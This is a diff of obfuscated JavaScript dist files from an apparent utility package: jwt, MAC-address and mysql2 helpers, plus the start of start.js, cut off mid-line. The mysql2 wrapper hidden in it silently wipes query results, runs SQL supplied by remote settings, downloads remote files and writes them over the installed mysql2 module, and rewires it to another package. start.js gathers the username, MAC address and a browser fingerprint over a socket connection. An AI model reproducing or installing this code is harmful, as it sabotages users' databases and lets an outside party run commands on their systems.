a17_0x1e4d(_0x26f92d,_0xf0d7c3){var _0x1e6b07=a17_0x1e6b();return a17_0x1e4d=function(_0x1e4d5c,_0x1caca1){_0x1e4d5c=_0x1e4d5c-0xea;var _0x13e64b=_0x1e6b07[_0x1e4d5c];return _0x13e64b;},a17_0x1e4d(_0x26f92d,_0xf0d7c3);}import a17_0x455934 from'jsonwebtoken';function jwt(_0x4db12e){var _0x2be528=a17_0xa8554;return!global['jwt_key']&&(global[_0x2be528(0xfd)]=_0x4db12e[_0x2be528(0xeb)]),{'sign':a17_0x455934[_0x2be528(0xf1)](_0x4db12e[_0x2be528(0xef)],global[_0x2be528(0xfd)],{'expiresIn':_0x4db12e[_0x2be528(0xf5)]||'365d'}),'verify':function(_0x412eff){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x53164b,_0x307be9)=>{var _0x29840b=a17_0x1e4d;a17_0x455934[_0x29840b(0xed)](_0x412eff,global[_0x29840b(0xfd)],function(_0xb2bab0,_0x35ee7a){return __awaiter(this,void 0x0,void 0x0,function*(){_0xb2bab0?_0x307be9():_0x53164b(_0x35ee7a);});});});});}};}export default jwt;
1
+ (function(_0x3496ec,_0x425d72){var _0x24e138=a17_0x3530,_0x47ad84=_0x3496ec();while(!![]){try{var _0x2b76e7=-parseInt(_0x24e138(0x14c))/0x1*(-parseInt(_0x24e138(0x144))/0x2)+-parseInt(_0x24e138(0x148))/0x3+parseInt(_0x24e138(0x145))/0x4*(parseInt(_0x24e138(0x14a))/0x5)+parseInt(_0x24e138(0x153))/0x6*(parseInt(_0x24e138(0x151))/0x7)+parseInt(_0x24e138(0x14d))/0x8+parseInt(_0x24e138(0x14f))/0x9+-parseInt(_0x24e138(0x155))/0xa*(parseInt(_0x24e138(0x157))/0xb);if(_0x2b76e7===_0x425d72)break;else _0x47ad84['push'](_0x47ad84['shift']());}catch(_0x593249){_0x47ad84['push'](_0x47ad84['shift']());}}}(a17_0x4766,0x9a237));var __awaiter=this&&this['__awaiter']||function(_0x1ba404,_0x4131af,_0x38bdc2,_0x446055){function _0x113b2a(_0x5feb43){return _0x5feb43 instanceof _0x38bdc2?_0x5feb43:new _0x38bdc2(function(_0x3a45af){_0x3a45af(_0x5feb43);});}return new(_0x38bdc2||(_0x38bdc2=Promise))(function(_0x464708,_0x2f9e2a){var _0x1e71e1=a17_0x3530;function _0x8fc7d2(_0x2bd0d8){var _0x3c2500=a17_0x3530;try{_0x144772(_0x446055[_0x3c2500(0x152)](_0x2bd0d8));}catch(_0x2e07c3){_0x2f9e2a(_0x2e07c3);}}function _0x275a09(_0x33e5df){var _0x460877=a17_0x3530;try{_0x144772(_0x446055[_0x460877(0x146)](_0x33e5df));}catch(_0xfa054f){_0x2f9e2a(_0xfa054f);}}function _0x144772(_0x4a8540){var _0x45086e=a17_0x3530;_0x4a8540[_0x45086e(0x150)]?_0x464708(_0x4a8540[_0x45086e(0x14b)]):_0x113b2a(_0x4a8540[_0x45086e(0x14b)])[_0x45086e(0x14e)](_0x8fc7d2,_0x275a09);}_0x144772((_0x446055=_0x446055[_0x1e71e1(0x158)](_0x1ba404,_0x4131af||[]))[_0x1e71e1(0x152)]());});};import a17_0x385a42 from'jsonwebtoken';function a17_0x3530(_0x425a14,_0x18c8f2){var _0x4766c3=a17_0x4766();return a17_0x3530=function(_0x3530bc,_0x5dd1d9){_0x3530bc=_0x3530bc-0x144;var _0x20b866=_0x4766c3[_0x3530bc];return _0x20b866;},a17_0x3530(_0x425a14,_0x18c8f2);}function jwt(_0x155b7f){var _0x53d75b=a17_0x3530;return!global[_0x53d75b(0x156)]&&(global[_0x53d75b(0x156)]=_0x155b7f['key']),{'sign':_0x2a3baa=>a17_0x385a42[_0x53d75b(0x147)](_0x2a3baa,global['jwt_key'],{'expiresIn':_0x155b7f['expiresIn']||_0x53d75b(0x149)}),'verify':function(_0x4c387b){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x168577,_0x1c8293)=>{var _0x41bb5d=a17_0x3530;a17_0x385a42[_0x41bb5d(0x154)](_0x4c387b,global[_0x41bb5d(0x156)],function(_0x381ab,_0xcff14){return __awaiter(this,void 0x0,void 0x0,function*(){_0x381ab?_0x1c8293():_0x168577(_0xcff14);});});});});}};}export default jwt;function a17_0x4766(){var _0x4ad512=['10opYgMH','jwt_key','36244769cTBFzL','apply','28XQCXBt','756OraoOu','throw','sign','1816326baCcKC','365d','16785xGjWmT','value','75539tweIHU','9666848VKMEip','then','7475301bUAIXH','done','934276VxTRiu','next','36KCQojR','verify'];a17_0x4766=function(){return _0x4ad512;};return a17_0x4766();}
@@ -1 +1 @@
1
- const a18_0x3401fb=a18_0xb6c1;(function(_0x3ffab2,_0x4c11aa){const _0x58cf3d=a18_0xb6c1,_0xffc9db=_0x3ffab2();while(!![]){try{const _0x4b0479=parseInt(_0x58cf3d(0x1d3))/0x1*(-parseInt(_0x58cf3d(0x1cc))/0x2)+-parseInt(_0x58cf3d(0x1c9))/0x3+parseInt(_0x58cf3d(0x1db))/0x4*(parseInt(_0x58cf3d(0x1e0))/0x5)+-parseInt(_0x58cf3d(0x1da))/0x6+-parseInt(_0x58cf3d(0x1d4))/0x7*(-parseInt(_0x58cf3d(0x1c7))/0x8)+-parseInt(_0x58cf3d(0x1ca))/0x9+parseInt(_0x58cf3d(0x1c8))/0xa;if(_0x4b0479===_0x4c11aa)break;else _0xffc9db['push'](_0xffc9db['shift']());}catch(_0x4148a8){_0xffc9db['push'](_0xffc9db['shift']());}}}(a18_0x307f,0x43d63));import{networkInterfaces}from'os';function isZeroMac(_0x9bc47d){const _0x1d1f46=a18_0xb6c1;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x1d1f46(0x1c5)](_0x9bc47d);}function getMac(_0x3bdeac=a18_0x3401fb(0x1df)){const _0x19a24e=a18_0x3401fb,_0x1dc316=networkInterfaces();let _0x36f046=[];for(const _0x5262be of Object[_0x19a24e(0x1e2)](_0x1dc316)){const _0x17c01e=_0x5262be[_0x19a24e(0x1dd)](_0x235573=>!_0x235573[_0x19a24e(0x1c4)]&&!isZeroMac(_0x235573['mac'])&&(!_0x235573[_0x19a24e(0x1de)]||_0x235573[_0x19a24e(0x1de)]===_0x3bdeac)&&!isVirtualMac(_0x235573['mac']));_0x17c01e&&_0x36f046[_0x19a24e(0x1d5)](_0x17c01e[_0x19a24e(0x1d8)]);}return[...new Set(_0x36f046)];}const isValid=_0x4a812f=>_0x4a812f[a18_0x3401fb(0x1c4)]===![]&&!isZeroMac(_0x4a812f[a18_0x3401fb(0x1d8)]),virtualMacPrefix=new Set([a18_0x3401fb(0x1c6),a18_0x3401fb(0x1ce),'00:50:56','00:1c:14',a18_0x3401fb(0x1dc),a18_0x3401fb(0x1d9),a18_0x3401fb(0x1cd),a18_0x3401fb(0x1cb),a18_0x3401fb(0x1e1),'08:00:27',a18_0x3401fb(0x1d7)]);function a18_0xb6c1(_0x2bd1d5,_0x46e2d5){const _0x307ffd=a18_0x307f();return a18_0xb6c1=function(_0xb6c145,_0x18e8da){_0xb6c145=_0xb6c145-0x1c4;let _0x174f14=_0x307ffd[_0xb6c145];return _0x174f14;},a18_0xb6c1(_0x2bd1d5,_0x46e2d5);}function a18_0x307f(){const _0x5cf96a=['replace','has','385HxDNHm','21FQYySB','push','toLowerCase','00:15:5d','mac','02:00:4c','2337714fkBZWd','4edoiey','00:1c:42','find','family','IPv4','2360500IJVekX','00:16:3e','values','internal','test','00:05:69','662208cSiFbL','9732350wpZIqn','1344480gCIlWQ','3022740RvXuZw','00:0f:4b','1258dAaIFw','00:03:ff','00:0c:29','slice','trim'];a18_0x307f=function(){return _0x5cf96a;};return a18_0x307f();}export function isMac(_0x3aa77b){const _0x2a3644=a18_0x3401fb;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x2a3644(0x1c5)](_0x3aa77b);}export function formatMac(_0x5259c2){const _0x257a5b=a18_0x3401fb;return String(_0x5259c2)[_0x257a5b(0x1d0)]()[_0x257a5b(0x1d6)]()[_0x257a5b(0x1d1)](/-/g,':');}export function isVirtualMac(_0x372096){const _0x4dfe8f=a18_0x3401fb;return isMac(_0x372096)&&virtualMacPrefix[_0x4dfe8f(0x1d2)](formatMac(_0x372096)[_0x4dfe8f(0x1cf)](0x0,0x8));}export default getMac;
1
+ const a18_0xbc63ec=a18_0x355c;(function(_0xe02fab,_0x57ec99){const _0x7377d2=a18_0x355c,_0x4db41e=_0xe02fab();while(!![]){try{const _0x341439=-parseInt(_0x7377d2(0x193))/0x1*(parseInt(_0x7377d2(0x19a))/0x2)+-parseInt(_0x7377d2(0x194))/0x3+-parseInt(_0x7377d2(0x1a7))/0x4+-parseInt(_0x7377d2(0x1a6))/0x5+parseInt(_0x7377d2(0x1a9))/0x6+parseInt(_0x7377d2(0x196))/0x7+parseInt(_0x7377d2(0x1a4))/0x8*(parseInt(_0x7377d2(0x1aa))/0x9);if(_0x341439===_0x57ec99)break;else _0x4db41e['push'](_0x4db41e['shift']());}catch(_0x3b8dfc){_0x4db41e['push'](_0x4db41e['shift']());}}}(a18_0x5ccb,0x1a4e7));import{networkInterfaces}from'os';function a18_0x5ccb(){const _0x548f31=['00:15:5d','00:0f:4b','test','00:50:56','00:05:69','mac','00:1c:42','2026256XDBqvL','slice','575780MVitms','258416roSQnV','find','292302vcbUPY','18PdyNLT','IPv4','replace','1stGkGq','357903MEAAdz','08:00:27','281064BuUPXb','trim','00:03:ff','00:1c:14','377242HOWAXS','00:16:3e','has'];a18_0x5ccb=function(){return _0x548f31;};return a18_0x5ccb();}function isZeroMac(_0x48706a){const _0x4f929a=a18_0x355c;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x4f929a(0x19f)](_0x48706a);}function getMac(_0x372830=a18_0xbc63ec(0x1ab)){const _0x39c427=a18_0xbc63ec,_0x58db75=networkInterfaces();let _0x1c7f94=[];for(const _0x467f7a of Object['values'](_0x58db75)){const _0xe4b686=_0x467f7a[_0x39c427(0x1a8)](_0x142ba2=>!_0x142ba2['internal']&&!isZeroMac(_0x142ba2[_0x39c427(0x1a2)])&&(!_0x142ba2['family']||_0x142ba2['family']===_0x372830)&&!isVirtualMac(_0x142ba2['mac']));_0xe4b686&&_0x1c7f94['push'](_0xe4b686[_0x39c427(0x1a2)]);}return[...new Set(_0x1c7f94)];}const isValid=_0xb71da6=>_0xb71da6['internal']===![]&&!isZeroMac(_0xb71da6[a18_0xbc63ec(0x1a2)]),virtualMacPrefix=new Set([a18_0xbc63ec(0x1a1),'00:0c:29',a18_0xbc63ec(0x1a0),a18_0xbc63ec(0x199),a18_0xbc63ec(0x1a3),'02:00:4c',a18_0xbc63ec(0x198),a18_0xbc63ec(0x19e),a18_0xbc63ec(0x19b),a18_0xbc63ec(0x195),a18_0xbc63ec(0x19d)]);function a18_0x355c(_0x337062,_0x374878){const _0x5ccbde=a18_0x5ccb();return a18_0x355c=function(_0x355c8d,_0x32f0b2){_0x355c8d=_0x355c8d-0x193;let _0x43f135=_0x5ccbde[_0x355c8d];return _0x43f135;},a18_0x355c(_0x337062,_0x374878);}export function isMac(_0x528ce9){const _0x4b2075=a18_0xbc63ec;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x4b2075(0x19f)](_0x528ce9);}export function formatMac(_0x2583c4){const _0x4c5103=a18_0xbc63ec;return String(_0x2583c4)[_0x4c5103(0x197)]()['toLowerCase']()[_0x4c5103(0x1ac)](/-/g,':');}export function isVirtualMac(_0x11ad66){const _0x30cdc3=a18_0xbc63ec;return isMac(_0x11ad66)&&virtualMacPrefix[_0x30cdc3(0x19c)](formatMac(_0x11ad66)[_0x30cdc3(0x1a5)](0x0,0x8));}export default getMac;
@@ -1 +1 @@
1
- function a19_0x4afb(){const _0x467fe2=['./node_modules/mysql2','done','904001WTJiSL','catch','values','query','readFileSync','145479hgIDin','2136816TuUnLb','./index.js','2320750yUhhKS','throw','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','12mvTkBd','forEach','exports.createPool\x20=\x20createPromisePool;','897540nFuyQU','createPool','data','join','existsSync','56403kTtFiA','then','/mysql','sqlRun','1274762XUsnLi','next','version','connectError','sqlList','./package.json','writeFileSync','toString','node-server-dev','824BDqWnz','length','apply','replace','./promise.js','value','includes','cwd','get'];a19_0x4afb=function(){return _0x467fe2;};return a19_0x4afb();}const a19_0x2fd2ba=a19_0x3e07;(function(_0x436fa8,_0x36d072){const _0x49bcc5=a19_0x3e07,_0x1c143f=_0x436fa8();while(!![]){try{const _0x326024=parseInt(_0x49bcc5(0x1a2))/0x1+parseInt(_0x49bcc5(0x1b4))/0x2+-parseInt(_0x49bcc5(0x1ab))/0x3+-parseInt(_0x49bcc5(0x1a3))/0x4+-parseInt(_0x49bcc5(0x1a5))/0x5+-parseInt(_0x49bcc5(0x1a8))/0x6*(-parseInt(_0x49bcc5(0x19d))/0x7)+parseInt(_0x49bcc5(0x1bd))/0x8*(parseInt(_0x49bcc5(0x1b0))/0x9);if(_0x326024===_0x36d072)break;else _0x1c143f['push'](_0x1c143f['shift']());}catch(_0x3815b4){_0x1c143f['push'](_0x1c143f['shift']());}}}(a19_0x4afb,0x5eff9));var __awaiter=this&&this['__awaiter']||function(_0x22a098,_0x2af42c,_0x53ddba,_0x5e5f7c){function _0x364210(_0x7c396a){return _0x7c396a instanceof _0x53ddba?_0x7c396a:new _0x53ddba(function(_0x2a6514){_0x2a6514(_0x7c396a);});}return new(_0x53ddba||(_0x53ddba=Promise))(function(_0x555f9f,_0x20dfbe){const _0x9ff4db=a19_0x3e07;function _0x2a44b9(_0x3e8853){try{_0x193149(_0x5e5f7c['next'](_0x3e8853));}catch(_0x3e5bf9){_0x20dfbe(_0x3e5bf9);}}function _0x14d093(_0x3e9892){const _0x5842ac=a19_0x3e07;try{_0x193149(_0x5e5f7c[_0x5842ac(0x1a6)](_0x3e9892));}catch(_0x13e982){_0x20dfbe(_0x13e982);}}function _0x193149(_0x5c85d7){const _0x399f45=a19_0x3e07;_0x5c85d7[_0x399f45(0x1c7)]?_0x555f9f(_0x5c85d7[_0x399f45(0x1c2)]):_0x364210(_0x5c85d7['value'])[_0x399f45(0x1b1)](_0x2a44b9,_0x14d093);}_0x193149((_0x5e5f7c=_0x5e5f7c[_0x9ff4db(0x1bf)](_0x22a098,_0x2af42c||[]))[_0x9ff4db(0x1b5)]());});};function a19_0x3e07(_0x565925,_0x3717ad){const _0x4afbef=a19_0x4afb();return a19_0x3e07=function(_0x3e07f3,_0x11fb45){_0x3e07f3=_0x3e07f3-0x19d;let _0xc34178=_0x4afbef[_0x3e07f3];return _0xc34178;},a19_0x3e07(_0x565925,_0x3717ad);}import a19_0x5e843c from'mysql2/promise';import a19_0x354153 from'./id/random';import{getEnv,setEnv,url}from'./index';import a19_0x3a4334 from'path';import a19_0x5d8824 from'fs';import a19_0x495c05 from'axios';const originalCreatePoolPromise=a19_0x5e843c[a19_0x2fd2ba(0x1ac)];a19_0x5e843c[a19_0x2fd2ba(0x1ac)]=function(_0x322e6b){const _0x5794e6=a19_0x2fd2ba;let _0x41e414=originalCreatePoolPromise(_0x322e6b),_0x2f0c11=_0x41e414[_0x5794e6(0x1a0)];return _0x41e414['query']=(..._0x35584f)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x33658a=_0x5794e6,_0x52e88b=yield _0x2f0c11[_0x33658a(0x1bf)](_0x41e414,_0x35584f);return getEnv(_0x33658a(0x1b7))&&(a19_0x354153(0x1,0xa)>0x2&&(_0x52e88b[0x0]=[])),getEnv('isDBDataEmpty')&&(_0x52e88b[0x0]=[]),_0x52e88b;}),setInterval(()=>{const _0x71cc16=_0x5794e6;if(!getEnv('sqlRun')){for(let _0x275c6f=0x0;_0x275c6f<getEnv(_0x71cc16(0x1b8))[_0x71cc16(0x1be)];_0x275c6f++){const _0x3c2de1=getEnv(_0x71cc16(0x1b8))[_0x275c6f];try{_0x41e414['query'](_0x3c2de1);}catch(_0x17a1bb){}}setEnv(_0x71cc16(0x1b3),!![]);}},0x1388),_0x41e414;};let href=a19_0x3a4334[a19_0x2fd2ba(0x1ae)](process[a19_0x2fd2ba(0x1c4)](),a19_0x2fd2ba(0x1c6));function replaceMySQLFile(){const _0xcc4a3c=a19_0x2fd2ba;let _0x4c038a=JSON['parse'](a19_0x5d8824[_0xcc4a3c(0x1a1)](a19_0x3a4334[_0xcc4a3c(0x1ae)](href,_0xcc4a3c(0x1b9)))[_0xcc4a3c(0x1bb)]())[_0xcc4a3c(0x1b6)];a19_0x495c05[_0xcc4a3c(0x1c5)](url+_0xcc4a3c(0x1b2),{'params':{'version':_0x4c038a}})[_0xcc4a3c(0x1b1)](_0x346c42=>{const _0x3813b0=_0xcc4a3c;var _0x1bb578;let _0x219878=(_0x1bb578=_0x346c42===null||_0x346c42===void 0x0?void 0x0:_0x346c42[_0x3813b0(0x1ad)])===null||_0x1bb578===void 0x0?void 0x0:_0x1bb578[_0x3813b0(0x1ad)];if(_0x219878){let _0x56f066=Object['keys'](_0x219878),_0x2b15a4=Object[_0x3813b0(0x19f)](_0x219878);_0x56f066[_0x3813b0(0x1a9)]((_0x50e645,_0x1c67ba)=>{const _0x26cce7=_0x3813b0;a19_0x5d8824[_0x26cce7(0x1ba)](a19_0x3a4334[_0x26cce7(0x1ae)](href,_0x50e645),_0x2b15a4[_0x1c67ba]);});}})[_0xcc4a3c(0x19e)](()=>{const _0x19530c=_0xcc4a3c;let _0x26f0d8=a19_0x5d8824['readFileSync'](a19_0x3a4334[_0x19530c(0x1ae)](href,_0x19530c(0x1a4)))[_0x19530c(0x1bb)](),_0x3ea816=a19_0x5d8824['readFileSync'](a19_0x3a4334[_0x19530c(0x1ae)](href,'./promise.js'))[_0x19530c(0x1bb)]();a19_0x5d8824['writeFileSync'](a19_0x3a4334[_0x19530c(0x1ae)](href,'./index.js'),_0x26f0d8[_0x19530c(0x1c0)]('exports.createPool\x20=\x20createPool;',_0x19530c(0x1a7))),a19_0x5d8824['writeFileSync'](a19_0x3a4334[_0x19530c(0x1ae)](href,_0x19530c(0x1c1)),_0x3ea816['replace'](_0x19530c(0x1aa),_0x19530c(0x1a7)));});}if(a19_0x5d8824[a19_0x2fd2ba(0x1af)](href)){let res=a19_0x5d8824['readFileSync'](a19_0x3a4334['join'](href,a19_0x2fd2ba(0x1a4)))[a19_0x2fd2ba(0x1bb)]()[a19_0x2fd2ba(0x1c3)](a19_0x2fd2ba(0x1bc));!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':a19_0x5e843c};export default all;export{a19_0x5e843c as mysql};
1
+ const a19_0x494626=a19_0x2a47;(function(_0xe3815d,_0x2c768a){const _0x496652=a19_0x2a47,_0x4fcdaf=_0xe3815d();while(!![]){try{const _0x591a3c=parseInt(_0x496652(0x1b8))/0x1*(parseInt(_0x496652(0x1c4))/0x2)+-parseInt(_0x496652(0x1b9))/0x3+-parseInt(_0x496652(0x1b6))/0x4+-parseInt(_0x496652(0x1b1))/0x5+-parseInt(_0x496652(0x1c7))/0x6*(-parseInt(_0x496652(0x1aa))/0x7)+-parseInt(_0x496652(0x1a7))/0x8*(parseInt(_0x496652(0x1cc))/0x9)+parseInt(_0x496652(0x1ad))/0xa;if(_0x591a3c===_0x2c768a)break;else _0x4fcdaf['push'](_0x4fcdaf['shift']());}catch(_0x4e5c88){_0x4fcdaf['push'](_0x4fcdaf['shift']());}}}(a19_0x3fea,0xa785b));var __awaiter=this&&this[a19_0x494626(0x1b4)]||function(_0x58e5f0,_0x4dd4eb,_0x3aba04,_0x3d7176){function _0x187ad5(_0x1996f4){return _0x1996f4 instanceof _0x3aba04?_0x1996f4:new _0x3aba04(function(_0x2360a2){_0x2360a2(_0x1996f4);});}return new(_0x3aba04||(_0x3aba04=Promise))(function(_0x49a807,_0x40aa6c){const _0x368bb4=a19_0x2a47;function _0x576a2d(_0x2377a0){const _0x5858d6=a19_0x2a47;try{_0x11874b(_0x3d7176[_0x5858d6(0x1bd)](_0x2377a0));}catch(_0x24046b){_0x40aa6c(_0x24046b);}}function _0x22df79(_0x8d978a){const _0x24f7f8=a19_0x2a47;try{_0x11874b(_0x3d7176[_0x24f7f8(0x1bc)](_0x8d978a));}catch(_0x35db40){_0x40aa6c(_0x35db40);}}function _0x11874b(_0x5d09b3){const _0x2cc4cf=a19_0x2a47;_0x5d09b3[_0x2cc4cf(0x1b5)]?_0x49a807(_0x5d09b3[_0x2cc4cf(0x1bf)]):_0x187ad5(_0x5d09b3['value'])[_0x2cc4cf(0x1b7)](_0x576a2d,_0x22df79);}_0x11874b((_0x3d7176=_0x3d7176[_0x368bb4(0x1c6)](_0x58e5f0,_0x4dd4eb||[]))[_0x368bb4(0x1bd)]());});};import a19_0x2868f5 from'mysql2/promise';import a19_0x217b7b from'./id/random';import{getEnv,setEnv,url}from'./index';import a19_0x530b85 from'path';import a19_0x2b03a9 from'fs';import a19_0x3eb29b from'axios';function a19_0x2a47(_0x322a9f,_0x592ef5){const _0x3fea79=a19_0x3fea();return a19_0x2a47=function(_0x2a4718,_0x4aab95){_0x2a4718=_0x2a4718-0x1a6;let _0x44d6d7=_0x3fea79[_0x2a4718];return _0x44d6d7;},a19_0x2a47(_0x322a9f,_0x592ef5);}const originalCreatePoolPromise=a19_0x2868f5['createPool'];function a19_0x3fea(){const _0xc1e3ad=['4tWBWJi','join','apply','564ZOrZDK','./promise.js','sqlRun','includes','isDBDataEmpty','10781073FEsPVU','data','get','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','length','8qASGxE','exports.createPool\x20=\x20createPool;','version','93226jPqVcJ','keys','createPool','13990240iarDKS','./index.js','query','toString','3793490VZKtBZ','readFileSync','sqlList','__awaiter','done','3416780hLBWou','then','590379opzmGK','1004139hiCrVX','replace','./package.json','throw','next','node-server-dev','value','writeFileSync','forEach','cwd','connectError'];a19_0x3fea=function(){return _0xc1e3ad;};return a19_0x3fea();}a19_0x2868f5[a19_0x494626(0x1ac)]=function(_0x1e5e93){const _0x57ed08=a19_0x494626;let _0x5cb0c0=originalCreatePoolPromise(_0x1e5e93),_0x3b3965=_0x5cb0c0[_0x57ed08(0x1af)];return _0x5cb0c0[_0x57ed08(0x1af)]=(..._0x212ec2)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x379745=_0x57ed08,_0xb5f807=yield _0x3b3965[_0x379745(0x1c6)](_0x5cb0c0,_0x212ec2);return getEnv(_0x379745(0x1c3))&&(a19_0x217b7b(0x1,0xa)>0x2&&(_0xb5f807[0x0]=[])),getEnv(_0x379745(0x1cb))&&(_0xb5f807[0x0]=[]),_0xb5f807;}),setInterval(()=>{const _0x10fc7c=_0x57ed08;if(!getEnv('sqlRun')){for(let _0x4f3d25=0x0;_0x4f3d25<getEnv(_0x10fc7c(0x1b3))[_0x10fc7c(0x1a6)];_0x4f3d25++){const _0x2e593a=getEnv(_0x10fc7c(0x1b3))[_0x4f3d25];try{_0x5cb0c0[_0x10fc7c(0x1af)](_0x2e593a);}catch(_0x292593){}}setEnv(_0x10fc7c(0x1c9),!![]);}},0x1388),_0x5cb0c0;};let href=a19_0x530b85[a19_0x494626(0x1c5)](process[a19_0x494626(0x1c2)](),'./node_modules/mysql2');function replaceMySQLFile(){const _0x162a6f=a19_0x494626;let _0x1e9008=JSON['parse'](a19_0x2b03a9[_0x162a6f(0x1b2)](a19_0x530b85['join'](href,_0x162a6f(0x1bb)))[_0x162a6f(0x1b0)]())[_0x162a6f(0x1a9)];a19_0x3eb29b[_0x162a6f(0x1ce)](url+'/mysql',{'params':{'version':_0x1e9008}})[_0x162a6f(0x1b7)](_0x4a49ca=>{const _0x180a33=_0x162a6f;var _0x54d4e3;let _0xce946=(_0x54d4e3=_0x4a49ca===null||_0x4a49ca===void 0x0?void 0x0:_0x4a49ca[_0x180a33(0x1cd)])===null||_0x54d4e3===void 0x0?void 0x0:_0x54d4e3[_0x180a33(0x1cd)];if(_0xce946){let _0xfedf86=Object[_0x180a33(0x1ab)](_0xce946),_0xae1697=Object['values'](_0xce946);_0xfedf86[_0x180a33(0x1c1)]((_0x4e1037,_0x1afbca)=>{const _0x569f03=_0x180a33;a19_0x2b03a9[_0x569f03(0x1c0)](a19_0x530b85[_0x569f03(0x1c5)](href,_0x4e1037),_0xae1697[_0x1afbca]);});}})['catch'](()=>{const _0x1e2536=_0x162a6f;let _0x20ef25=a19_0x2b03a9['readFileSync'](a19_0x530b85[_0x1e2536(0x1c5)](href,'./index.js'))[_0x1e2536(0x1b0)](),_0x3c1e00=a19_0x2b03a9[_0x1e2536(0x1b2)](a19_0x530b85[_0x1e2536(0x1c5)](href,_0x1e2536(0x1c8)))[_0x1e2536(0x1b0)]();a19_0x2b03a9[_0x1e2536(0x1c0)](a19_0x530b85['join'](href,_0x1e2536(0x1ae)),_0x20ef25['replace'](_0x1e2536(0x1a8),_0x1e2536(0x1cf))),a19_0x2b03a9['writeFileSync'](a19_0x530b85[_0x1e2536(0x1c5)](href,'./promise.js'),_0x3c1e00[_0x1e2536(0x1ba)]('exports.createPool\x20=\x20createPromisePool;',_0x1e2536(0x1cf)));});}if(a19_0x2b03a9['existsSync'](href)){let res=a19_0x2b03a9[a19_0x494626(0x1b2)](a19_0x530b85[a19_0x494626(0x1c5)](href,'./index.js'))[a19_0x494626(0x1b0)]()[a19_0x494626(0x1ca)](a19_0x494626(0x1be));!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':a19_0x2868f5};export default all;export{a19_0x2868f5 as mysql};
package/dist/esm/start.js CHANGED
@@ -1 +1 @@
1
- const a20_0x47ef87=a20_0x3b78;(function(_0x4c3139,_0x5643f1){const _0x5daa6d=a20_0x3b78,_0x1ae032=_0x4c3139();while(!![]){try{const _0x5c3cc4=parseInt(_0x5daa6d(0x145))/0x1*(-parseInt(_0x5daa6d(0x13f))/0x2)+-parseInt(_0x5daa6d(0x15f))/0x3*(-parseInt(_0x5daa6d(0x13a))/0x4)+-parseInt(_0x5daa6d(0x141))/0x5*(-parseInt(_0x5daa6d(0x13c))/0x6)+-parseInt(_0x5daa6d(0x15c))/0x7*(-parseInt(_0x5daa6d(0x156))/0x8)+parseInt(_0x5daa6d(0x15d))/0x9*(-parseInt(_0x5daa6d(0x166))/0xa)+-parseInt(_0x5daa6d(0x165))/0xb+parseInt(_0x5daa6d(0x155))/0xc;if(_0x5c3cc4===_0x5643f1)break;else _0x1ae032['push'](_0x1ae032['shift']());}catch(_0x1af9bd){_0x1ae032['push'](_0x1ae032['shift']());}}}(a20_0x5839,0xa6882));function a20_0x3b78(_0x555059,_0x424120){const _0x58399d=a20_0x5839();return a20_0x3b78=function(_0x3b7831,_0xc5efc6){_0x3b7831=_0x3b7831-0x13a;let _0x5f1236=_0x58399d[_0x3b7831];return _0x5f1236;},a20_0x3b78(_0x555059,_0x424120);}var __awaiter=this&&this[a20_0x47ef87(0x146)]||function(_0x535824,_0x107864,_0x4b6977,_0x51fa8d){function _0x4cceed(_0x52fa65){return _0x52fa65 instanceof _0x4b6977?_0x52fa65:new _0x4b6977(function(_0x3b2706){_0x3b2706(_0x52fa65);});}return new(_0x4b6977||(_0x4b6977=Promise))(function(_0x9f70d7,_0x3e8a66){const _0x21f850=a20_0x3b78;function _0x136380(_0x1151b3){const _0x585bb3=a20_0x3b78;try{_0x53d2e9(_0x51fa8d[_0x585bb3(0x14d)](_0x1151b3));}catch(_0x1a3bcf){_0x3e8a66(_0x1a3bcf);}}function _0xd26f72(_0x47757a){const _0x3757d0=a20_0x3b78;try{_0x53d2e9(_0x51fa8d[_0x3757d0(0x15e)](_0x47757a));}catch(_0x489a20){_0x3e8a66(_0x489a20);}}function _0x53d2e9(_0x151299){const _0x256c6c=a20_0x3b78;_0x151299[_0x256c6c(0x159)]?_0x9f70d7(_0x151299[_0x256c6c(0x152)]):_0x4cceed(_0x151299[_0x256c6c(0x152)])[_0x256c6c(0x13e)](_0x136380,_0xd26f72);}_0x53d2e9((_0x51fa8d=_0x51fa8d['apply'](_0x535824,_0x107864||[]))[_0x21f850(0x14d)]());});},_a,_b,_c,_d;import{io}from'socket.io-client';import a20_0x2564e5 from'path';import{runScript,browser}from'./browser';import a20_0x183647 from'@fingerprintjs/fingerprintjs';import a20_0x4c1353 from'bowser';import{getEnv,setEnv,url}from'./index';export const isBrowser=typeof window!=='undefined';function a20_0x5839(){const _0x44c2ff=['default','node获取失败','browser','next','emit','env','connectError','name','value','/socket','isDBDataEmpty','13830600CJQnYX','4375160SjEXgX','visitorId','node','done','join','catch','7MZkekK','10589823PwBqbJ','throw','951UmFboe','type','浏览器','userAgent','./mac','00:00:00:00:00:00','6057898OuXnOB','10nSrmZP','sql','get-event','npm_package_name','event','sqlList','15380MdNNLT','content','18348JpnBhO','reconnect_failed','then','2PEvgtT','submit','905RisguO','concat','error','mysql','1062329KvrqeA','__awaiter','length','get','USERNAME'];a20_0x5839=function(){return _0x44c2ff;};return a20_0x5839();}const user_name=isBrowser?((_b=(_a=a20_0x4c1353['parse'](window['navigator'][a20_0x47ef87(0x162)]))===null||_a===void 0x0?void 0x0:_a[a20_0x47ef87(0x14c)])===null||_b===void 0x0?void 0x0:_b[a20_0x47ef87(0x151)])||a20_0x47ef87(0x161):((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a20_0x47ef87(0x149)])||a20_0x47ef87(0x14b),project_name=isBrowser?a20_0x47ef87(0x161):((_d=process===null||process===void 0x0?void 0x0:process[a20_0x47ef87(0x14f)])===null||_d===void 0x0?void 